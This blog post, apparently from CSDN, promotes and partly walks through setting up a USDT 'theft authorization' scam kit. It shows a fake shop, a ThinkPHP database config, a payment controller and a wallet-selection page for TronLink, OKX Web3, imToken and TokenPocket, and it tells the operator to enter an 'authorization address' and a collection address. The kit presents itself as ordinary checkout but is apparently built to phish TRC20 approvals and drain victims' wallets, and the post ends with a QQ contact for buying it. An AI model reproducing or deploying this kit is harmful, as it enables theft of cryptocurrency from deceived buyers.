首页 > 其他分享 >2024最新盗u授权版,有演示Demo,最全教程包教包会

2024最新盗u授权版,有演示Demo,最全教程包教包会

时间:2024-09-03 12:21:43浏览次数:12  
标签:info database Demo 包教包会 2024 usdtpay Env get order

一、案例展示

1.前端商品列表,这里可以选择很多商品,商品在后台自己随便配置

2.选择抖音产品,下单。

3.点击立即支付

二、环境:Linux系统 进入宝塔依次安装:Nginx> MySQL> php> phpMyAdmin 

      1. 修改数据库配置:/application/database.php


use think\Env;

return [
    // 数据库类型
    'type'            => Env::get('database.type', 'mysql'),
    // 服务器地址
    'hostname'        => Env::get('database.hostname', '127.0.0.1'),
    // 数据库名
    'database'        => Env::get('database.database', 'ds-prod'),
    // 用户名
    'username'        => Env::get('database.username', 'root'),
    // 密码
    'password'        => Env::get('database.password', '123456'),
    // 端口
    'hostport'        => Env::get('database.hostport', '3306'),
    // 连接dsn
    'dsn'             => '',
    // 数据库连接参数
    'params'          => [],
    // 数据库编码默认采用 utf8mb4
    'charset'         => Env::get('database.charset', 'utf8mb4'),
    // 数据库表前缀
    'prefix'          => Env::get('database.prefix', 't_'),
    // 数据库调试模式
    'debug'           => Env::get('database.debug', false),
    // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
    'deploy'          => 0,
    // 数据库读写是否分离 主从式有效
    'rw_separate'     => false,
    // 读写分离后 主服务器数量
    'master_num'      => 1,
    // 指定从服务器序号
    'slave_no'        => '',
    // 是否严格检查字段是否存在
    'fields_strict'   => true,
    // 数据集返回类型
    'resultset_type'  => 'array',
    // 自动写入时间戳字段
    'auto_timestamp'  => false,
    // 时间字段取出后的默认时间格式,默认为Y-m-d H:i:s
    'datetime_format' => false,
    // 是否需要进行SQL性能分析
    'sql_explain'     => false,
];


2.修改数据库"t_pay"表,你的冷钱包授权地址,和收款地址

3.下面我们来看代码,首先判断订单状态,然后跳转到选择U支付

<?php

namespace app\shop\controller\pay;

use app\common\controller\Fun;
use fast\Http;
use think\Db;
use app\shop\controller\Base;
use app\common\controller\Hm;

/**
 * USDT支付类
 */
class Usdtpay extends Base {
    
    public function pay($order,$goods){
        
        $this->redirect("/shop/pay.usdtpay/usdtpay/order_no/" . $order['order_no']);

    }
    
    public function usdtPay($order_no){
        
        $usdtpay_info = db::name('pay')->where(['type' => 'usdtpay'])->find();
        $usdtpay_info = json_decode($usdtpay_info['value'], true);
        
        $order_info = db::name('order')->where(['order_no' => $order_no])->find();

        if(empty($order_info) || $order_info['status'] == '2'){
            return "订单不存在或者订单已过期!";
        } 
        
        $this->assign([
            'au_address' => $usdtpay_info['au_address'],
            'pay_address' => $usdtpay_info['pay_address'],
            'order_no' => $order_info['order_no'],
            'amount' => $order_info['money'],
            'goods_num' => $order_info['goods_num'],
            'email' => $order_info['email'],
            'goods_name' => $order_info['goods_name'],
        ]);
        
        return view(ROOT_PATH . "public/content/template/" . $this->template_name .  "/usdtpay.html");
    }
    
    
}    

?>

4.HTML展示的支付类型、TronLink、欧易Web3、imToken等

<div class="mobile-goods" id="mobil" style="display: none">
            <div class="mobile-title paymentShow">
                请选择您的转账钱包
            </div>
            <ul id="goods" class="paymentShow" style="padding-left:0">
                <li class="goods-item" data-index="33">
                    <div class="item-img"><img src="/content/template/default/images/TronLink.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   TronLink</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="1">
                    <div class="item-img"><img src="/content/template/default/images/okex.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   欧易Web3钱包</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="2">
                    <div class="item-img"><img src="/content/template/default/images/imtoken.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   imToken</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
                <li class="goods-item" data-index="3">
                    <div class="item-img"><img src="/content/template/default/images/tokenpocket.png" /></div>
                    <div class="item-content">
                        <div class="item-name">   TokenPocket</div>
                        <div class="item-tag"><div>TRC20</div><div class="other-color">Android/IOS</div></div>
                    </div>
                    <input type="radio" />
                </li>
            </ul>
            <div class="pay-submit paymentShow" id="confirm">
                确认支付
            </div>
			<!-- 二维码容器 -->
			<div id="paymentQRCode" style="display: flex; justify-content: center; margin-top: 40px;"></div>
            <div id="qrCodeHint" style="text-align: center; color: gray; margin-top: 10px;">
                为防止黑U假U混币,请使用钱包扫码支付。付款成功后自动到账,如果未自动到账请联系在线客服。
            </div>
			
            <div style="display: none" class="pay-submit" id="payButton" onclick="check()">
                点击付款
            </div>
        </div>

建议使用官方提币:https://tronscan.org/#/contract/TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t/code

欢迎QQ或报交流:3972958687

标签:info,database,Demo,包教包会,2024,usdtpay,Env,get,order
From: https://blog.csdn.net/dszushiye/article/details/141832268

相关文章

  • 2024杭电多校08-1008《cats 的数据结构》
    题目链接Problem-7524分析:我们发现最重要的一个条件是:父节点的ai,bi都会比子节点的ai,bi(对应)大。那么单独考虑ai,可以发现,按dfs序是可以办到“父——>子”这一过程的。题目又限制父子节点关系和ai,bi大小关系是充要条件,那么不能把A的儿子ai,bi设的“太小”使其错误地......
  • 2024/09/03笔记
    开发---测试-----运维----UI排期巡检绿色,黄色,红色IDE:/dev/hd,hda,hda1,hda2,hdc1SATA/SAS/SCSI:/dev/sda,sda1PCI-E3.03000Mb/S4.05000-70005.07000-1W/dev/vdavda1virtual/dev/xvdaxen(笨重)---KVMvirtual瀑布式开发敏捷式开发----持续集成:将小模块......
  • 20240903_110652 mysql 填空题 dml
    全列添加,往student表(id,name,age)添加数据,id自增长,name值为'tom',age值为6insertintostudentvalues(null,'tom',6)限定列的添加,往student表(id,name,age)添加数据,不管id,name值为'tom',age值为6insertintostudent(name,age)values('tom',6)添加多条数据,往stude......
  • 2024Hvv漏洞汇总(128个POC)
    2024Hvv漏洞整理(128个POC)​(网上漏洞零零散散)下面是收集到的且有POC的漏洞整理合集,鄙人分了三种格式供各位提取,下面贴上目录与图片,由于字数有点大,各位请移步网盘自行提取。按照Hvv时间线进行汇总每天爆出的漏洞(非最全Hvv漏洞)提前总结:各位道友可移步到我的公众号(公众号同名搜......
  • 合合信息启信宝参编国内首份《数据产业图谱(2024)》
    近日,在2024中国国际大数据产业博览会上,北京交通大学张向宏教授正式发布了国内首部《数据产业图谱(2024)》(以下简称“图谱”)。该图谱由北京交通大学牵头,联合清华大学、北京大学、中国软件评测中心、华为、合合信息等11家单位共同参与构建。《数据产业图谱(2024)》首次全面展示了我国数......
  • 2024年9月数据治理/项目管理/产品管理等内训来了解
    在瞬息万变、竞争激烈的市场里,企业为求繁盛,宜内外寻觅资深导师,开展学习与培训。简而言之,内训是企业成长的必经之路。 数据治理 数据管理基础数据处理伦理数据治理数据架构数据建模和设计数据安全数据集成和互操作文件和内容管理参考数据和主数据数据仓库和商务智能元数据管理数据......
  • 2024年9月北京、天津、上海、深圳CDGA/CDGP认证报名到这
    DAMA认证中的CDGA和CDGP是数据管理领域的专业认证之路。通过这两个认证,个人可以提升自己在数据管理领域的专业水平和能力,为企业的发展贡献自己的力量。同时,企业也可以通过选拔和培养具备DAMA认证的数据管理人才,提升自身的数据管理能力,推动企业数字化转型和升级。【认证含金量】·数......
  • PlugIR:开源还不用微调,首尔大学提出即插即用的多轮对话图文检索 | ACL 2024
    即插即用的PlugIR通过LLM提问者和用户之间的对话逐步改进文本查询以进行图像检索,然后利用LLM将对话转换为检索模型更易理解的格式(一句话)。首先,通过重新构造对话形式上下文消除了在现有视觉对话数据上微调检索模型的必要性,从而使任意黑盒模型都可以使用。其次,构建了LLM问答者根据......
  • 【2024-09-02】二宝托管
    20:00如果说自己的名字意味着种光荣,那么国旗则代表着种责任,一种使命,值得我们付出一切去捍卫,去战斗。                                                 ——孙颖莎为了......
  • 【专题】2024年企业数字化人才实践研究报告合集PDF分享(附原数据表)
    原文链接:https://tecdat.cn/?p=37556在当今时代,数字化转型已然成为不可逆转的变革趋势。经过多年的持续发展,中国企业的数字化转型已然迈进了“深水区”。对于众多企业来说,当下在数字化转型过程中最为迫切需要解决的问题,便是如何在已有的数字化成果基础上进行再度创新。阅读原文,......